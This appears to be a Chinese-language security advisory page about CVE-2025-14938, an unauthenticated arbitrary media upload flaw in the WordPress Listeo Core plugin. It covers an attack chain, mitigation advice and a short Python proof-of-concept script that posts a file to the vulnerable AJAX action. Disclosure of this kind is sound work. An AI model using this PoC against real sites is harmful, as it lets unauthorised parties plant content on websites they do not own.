IPBUF安全漏洞报告
English
CVE-2025-14938 CVSS 5.3 中危

CVE-2025-14938: WordPress Listeo Core插件任意媒体上传漏洞

披露日期: 2026-04-04

漏洞信息

漏洞编号
CVE-2025-14938
漏洞类型
任意文件上传
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Listeo Core 插件

相关标签

WordPress文件上传权限绕过CVE-2025-14938Listeo Core

漏洞概述

WordPress Listeo Core 插件在 2.0.27 及以下版本中存在安全漏洞。由于处理文件上传的 AJAX 端点缺少授权和功能检查,未经身份验证的攻击者可利用该漏洞向网站媒体库上传任意媒体文件。尽管此漏洞不能直接导致代码执行,但攻击者可利用其上传垃圾数据或恶意内容,破坏网站完整性。

技术细节

该漏洞源于 WordPress Listeo Core 插件中的 `listeo_core_handle_dropped_media` 函数未实施严格的访问控制。插件通过 AJAX 接口处理前端拖拽上传的文件,但该接口未验证请求来源(如 Nonce)也未检查用户权限。攻击者无需登录,即可构造恶意的 HTTP POST 请求发送至 `/wp-admin/admin-ajax.php`,并在参数中指定 `action=listeo_core_handle_dropped_media`。服务器接收到请求后,会因缺少校验而直接将文件保存至 WordPress 的上传目录。虽然通常受限于文件类型检查,无法直接上传 Webshell,但这依然构成了严重的安全风险。

攻击链分析

STEP 1
侦察阶段
攻击者确认目标网站运行 WordPress 并安装了 Listeo Core 插件。
STEP 2
漏洞利用
攻击者构造包含恶意文件的 POST 请求,发送至 /wp-admin/admin-ajax.php,并设置 action=listeo_core_handle_dropped_media。
STEP 3
上传文件
由于后端未验证用户身份,服务器将文件保存至媒体库,攻击者获得文件访问链接。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # File to be uploaded files = { 'file': ('malicious.jpg', open('malicious.jpg', 'rb'), 'image/jpeg') } # Data payload containing the vulnerable action data = { 'action': 'listeo_core_handle_dropped_media' } # Send the POST request without authentication response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Upload successful!") print(response.text) else: print("[-] Upload failed.")

影响范围

Listeo Core <= 2.0.27

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用该插件或通过服务器配置(如 Nginx/Apache 规则)拦截对 admin-ajax.php 中特定 action 的非管理员请求,以阻断未授权的文件上传尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表